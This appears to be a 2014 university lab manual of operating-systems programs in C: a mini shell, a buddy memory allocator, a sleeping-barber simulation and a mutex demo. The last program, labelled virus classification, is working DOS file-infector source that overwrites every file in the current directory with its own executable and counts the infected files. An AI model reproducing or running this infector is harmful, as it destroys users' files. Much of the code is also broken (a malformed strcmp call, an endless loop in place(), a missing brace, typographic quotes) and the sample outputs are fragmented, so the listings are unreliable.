m.tech 1st sem computer science aos lab prgms 2014

PROGRAM 1

Design and develop a shell that supports at least 20 commands

#include<stdio.h>

#include<sys/types.h>

#include<unistd.h>

#include<stdlib.h>

void parse(char *cmd,char **arguvec)

{

while(*cmd!='\0')

{

while(*cmd==' ' || *cmd=='\t' || *cmd=='\n')

*cmd++='\0';

*arguvec++=cmd;

while(*cmd!='\0' && *cmd!=' ' && *cmd!='\t' && *cmd!='\n')

cmd++;

}

*arguvec++='\0';

}

void cmdexecute(char **arguvec)

{

pid_t pid;

int status;

pid=fork();

if(pid<0)

{

printf("error in creating fork\n");

exit(0);

}

else if(pid==0)

{

if(execvp(*arguvec,arguvec)<0)

{

printf("error in calling execution\n");

exit(0);

}

}

else

{

while(wait(&status)!=pid);

}

}

int main()

{

char cmd[1024];

char *arguvec[20];

while(1)

{

printf ("[MYSHELL]");

gets(cmd);

parse (cmd,arguvec);

if(strcmp(arguvec[0]),"exit"==0)

{

exit(0);

}

cmdexecute(arguvec);

}

return 0;

}

SAMPLE INPUT/OUTPUT

[root@localhost ]$ vi myshell.c

[students@localhost ]$ cc myshell.c

[students@localhost ]$ ./a.out

[MYSHELL] date

Mon Dec 8 14:14:17 IST 2014

[MYSHELL]ls

a.out p1.c p2.c myshell.c

[MYSHELL]pwd

/home/students

[MYSHELL]ls -i

1192724 a.out 1192748 p1.c 1192767 p2.c

[MYSHELL]ls -a

. .. a.out p1.c p2.c

[MYSHELL]echo citech

citech

[MYSHELL]cat hello.c

#include<stdio.h>

void main()

{

printf("HELLO WORLD");

}

Program 2

Design and develop a program to implement lazy buddy algorithm

#include<stdio.h>

int tree[2050],i,j,k;

void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int);

int place(int),power(int,int);

main()

{

int totsize,cho,req;

printf("\n B U D D Y S Y S T E M R E Q U I R E M E N T S\n");

printf("* Enter the Size of the memory :");

scanf("%d",&totsize);

while(1)

{

printf("\n B U D D Y S Y S T E M \n");

printf("*****************************\n");

printf("* 1) Locate the process into the Memory\n");

printf("* 2) Remove the process from Memory\n");

printf("* 3) Tree structure for Memory aloc tn Map\n");

printf("* 4) Exit\n");

printf("* Enter your choice :");

scanf("%d",&cho);

switch(cho)

{

case 1:

printf("\nM E M O R Y A L L O C A T I O N\n");

printf("************************************\n");

printf("* Enter the Process size : ");

scanf("%d",&req);

segmentalloc(totsize,req);

break;

case 2:

printf("\n M E M O R Y D E A L L O C A T I ON\n");

printf("\n ******************\n");

printf(" Enter the process size : \n");

scanf("%d",&req);

makefree(req);

break;

case 3:

printf("\n M E M O R Y A L L O C A T I O N M A P\n");

printf("*********************************************************\n");

printing(totsize,0);

break;

default:

return;

}

}

}

void segmentalloc(int totsize,int request)

{

int flevel=0,size;

size=totsize;

if(request>=totsize)

{

printf("%c R E S U L T : ",2);

printf("* The system don't have enough free memory\n");

printf("* The system don't have enough free memory\n");

printf("* Suggession : Go for VIRTUAL MEMORY\n");

return;

}

while(1)

{

if(request<size && request>=(size/2))

break;

else

{

size/=2;

flevel++;

}

}

for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++)

if(tree[i]==0 && place(i))

{

tree[i]=request;

makedivided(i);

printf("\n Result : Successful Allocation \n");

break;

}

if(i==power(2,flevel+1)-1)

{

printf("%c Result : ");

printf("\n* The system don't have enough free memory\n");

printf("* Suggession : Go for VIRTUAL Memory Mode\n");

}

}

void makedivided(int node)

{

while(node!=0)

{

node=node%2==0?(node-1)/2:node/2;

tree[node]=1;

}

}

int place(int node)

{

while(node!=0)

{


if(tree[node]>1)

return 0;

}

return 1;

}

void makefree(int request)

{

int node=0;

while(1)

{

if(tree[node]==request)

break;

else

node++;

}

tree[node]=0;

while(node!=0)

{

if(tree[node%2==0?node-1:node+1]==0 && tree[node]==0)

{

tree[node%2==0?(node-1)/2:node/2]=0;


printf(" Result : SuccessfullDeallocation\n");

}

else break;

}

}

int power(int x,int y)

{

int z,ans;

if(y==0) return 1;

ans=x;

for(z=1;z<y;z++)

ans*=x;

return ans;

}

void printing(int totsize,int node)

{

int permission=0,llimit,ulimit,tab;

if(node==0)

permission=1;

else if(node%2==0)

permission=tree[(node-1)/2]==1?1:0;

else

permission=tree[node/2]==1?1:0;

if(permission)

{

llimit=ulimit=tab=0;

while(1)

{

if(node>=llimit&& node<=ulimit)

break;

else

{

tab++;

printf(" ");

llimit=ulimit+1;

ulimit=2*ulimit+2;

}

}

printf(" %d ",totsize/power(2,tab));

if(tree[node]>1)

printf("---> Allocated %d",tree[node]);

else if(tree[node]==1)

printf("---> Divided");

else printf("---> Free\n");

printing(totsize,2*node+1);

printing(totsize,2*node+2);

}

}

Program 2/ OUT PUT:

[root@localhost ~]# cc pgm1.c

[root@localhost ~]# ./a.out

B U D D Y S Y S T E M R E Q U I R E M E N T S

* Enter the Size of the memory : 1400

B U D D Y S Y S T E M

*****************************

* 1) Locate the process into the Memory

* 2) Remove the process from Memory

* 3) Tree structure for Memory allocation Map

* 4) Exit

* Enter your choice :1

M E M O R Y A L L O C A T I O N

************************************

* Enter the Process size : 600

Result : Successful Allocation


*****************************




* 4) Exit


M E M O R Y A L L O C A T I O N M A P

**********************************************

1400 ---> Divided 700 ---> Allocated 600 700 ---> Free


*****************************




* 4) Exit

Department Of Computer Science & Engineering

BIT/CSE/AOS LAB Page 14



************************************


Result : Successful Allocation


*****************************




* 4) Exit



**********************************************

1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400


*****************************




* 4) Exit


M E M O R Y D E A L L O C A T I O N

******************************************

* Enter the process size : 600


*****************************




* 4) Exit





**********************************************

1400 ---> Divided 700 ---> Free

700 ---> Allocated 400


*****************************




* 4) Exit



************************************


Result :

* The system don't have enough free memory

* Suggession : Go for VIRTUAL Memory Mode


*****************************




* 4) Exit


M E M O R Y D E A L L O C A T I O N

******************************************

* Enter the process size :400

Result :SuccessfullDeallocation


*****************************




* 4) Exit





**********************************************

1400 ---> Free


*****************************




* 4) Exit

* Enter your choice :

Program 3

Write a multi-class multithreaded program that simulates multiple sleeping barbers, all

in one barbershop that has a finite number of chairs in the waiting room. Each customer

is instantiated from a single customer class; each barber is instantiated from a single

Barber class.

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#include<pthread.h>

#include<semaphore.h>

#define MAX_CHAIRS 4

#define CUT_TIME 1

#define NUM_BARB 2

#define MAX_CUST 6

int numberoffreeseats=MAX_CUST;

int seatpocket[MAX_CUST];

sem_t customers;

sem_t barbars;

sem_t mutex;

int servemenext=0;

int sitherenext=0;

int count=0;

void barbarthread(void *tmp);

void customerthread(void *tmp);

void wait();

int main()

{

pthread_t barbars[NUM_BARB],customers[MAX_CUST];

int i, status;

sem_init(&customers,0,0);

sem_init(&barbars,0,0);

sem_init(&mutex,0,1);

printf("barbar shop opens\n");

for(i=0;i<NUM_BARB;i++)

{

status=pthread_create(&barbars[i],NULL,(void*)barbarthread,(void*)&i);

sleep(1);

if(status!=0)

perror("no barbar present\n");

}

for(i=0;i<MAX_CUST;i++)

{

status=pthread_create(&customers[i],NULL,(void*)customerthread,(void *)&i);

wait();

if(status!=0)

perror("no customers yet\n");

}

for(i=0;i<MAX_CUST;i++)

pthread_join(customers[i],NULL);

printf("barbar shop closes\n");

exit(EXIT_SUCCESS);

}

void customerthread(void *tmp)

{

int myseat,b;

sem_wait(&mutex);

count++;

printf("customer %d enterred shop\n",count);

if(numberoffreeseats>0)

{

--numberoffreeseats;

printf("customer %d waits in the room\n",count);

sitherenext=(++sitherenext)%MAX_CHAIRS;

myseat=sitherenext;

seatpocket[myseat]=count;

sem_post(&mutex);

sem_post(&barbars);

sem_wait(&customers);

sem_wait(&mutex);

b=seatpocket[myseat];

numberoffreeseats++;

sem_post(&mutex);

}

else

{

sem_post(&mutex);

printf("customer %d finds the no seats and go back\n",count);

}

pthread_exit(0);

}

void barbarthread(void *tmp)

{

int index=*(int *)(tmp);

int mynext,c;

printf("barbar %d joins shop\n",index+1);

while(1)

{

printf("barbar %d gone to sleep\n",index+1);

sem_wait(&barbars);

sem_wait(&mutex);

servemenext=(++servemenext)%MAX_CHAIRS;

mynext=servemenext;

c=seatpocket[mynext];

seatpocket[mynext]=pthread_self();

sem_post(&mutex);

sem_post(&customers);

printf("barbar %d wakes up andis cutting hair of customer %d\n",index+1,c);

sleep(CUT_TIME);

printf("barbar %d finishes\n",index+1);

}

}

void wait()

{

int x=rand()%(250000-50000+1)+50000;

srand(time(NULL));

usleep(x);

}

Sample Input/Output :

!!Barber Shop Opens!!

Barber-1 Joins Shop.Barber-1 Gone To Sleep.

Barber-2 Joins Shop.Barber-2 Gone To Sleep.

Customer-1 Entered Shop. Customer-1 Sits In Waiting Room.

Barber-1 Wakes Up & Is Cutting Hair Of Customer-1.






Barber-1 Finishes.Barber-1 Gone To Sleep.






!!Barber Shop Closes!!

PROGRAM 4

Use ECOS operating system to develop a program for controlling

accessing to a pool of resources using mutexes and condition variables.

#include <string.h>

#include <pthread.h>

#include <stdlib.h>

#include <unistd.h>

pthread_t tid[2];

int counter;

pthread_mutex_t lock;

void* processloop(void *arg)

{

pthread_mutex_lock(&lock); // lock code

unsigned long i = 0;

counter += 1;

printf("\n Job %d started\n", counter);

for(i=0; i<1;i++)

printf("\n Job %d finished\n", counter);

pthread_mutex_unlock(&lock); // unlock code

return NULL;

}

int main(void)

{

int i = 0;

int err;

if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock

{

printf("\n mutex init failed\n");

return 1;

}

while(i < 2)

{

err = pthread_create(&(tid[i]), NULL, &processloop, NULL);

if (err != 0)

printf("\ncan't create thread :[%s]", strerror(err));

i++;

}

pthread_join(tid[0], NULL);

pthread_join(tid[1], NULL);

pthread_mutex_destroy(&lock);

return 0;

Program 5 Design and develop a program to realize the virus classification, such

as boot sector infector, file infector and macro virus.

#include<stdio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus,*host;

Int done,a=0; unsigned long x;

Char buff[2048];

struct ffblk ffblk; clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(“*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL)

goto next;

x=89088;

printf(“Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus); fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(“DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(“TIME TAKEN=%f SEC\n”, (end-st));

}

m.tech 1st sem computer science aos lab prgms 2014

Education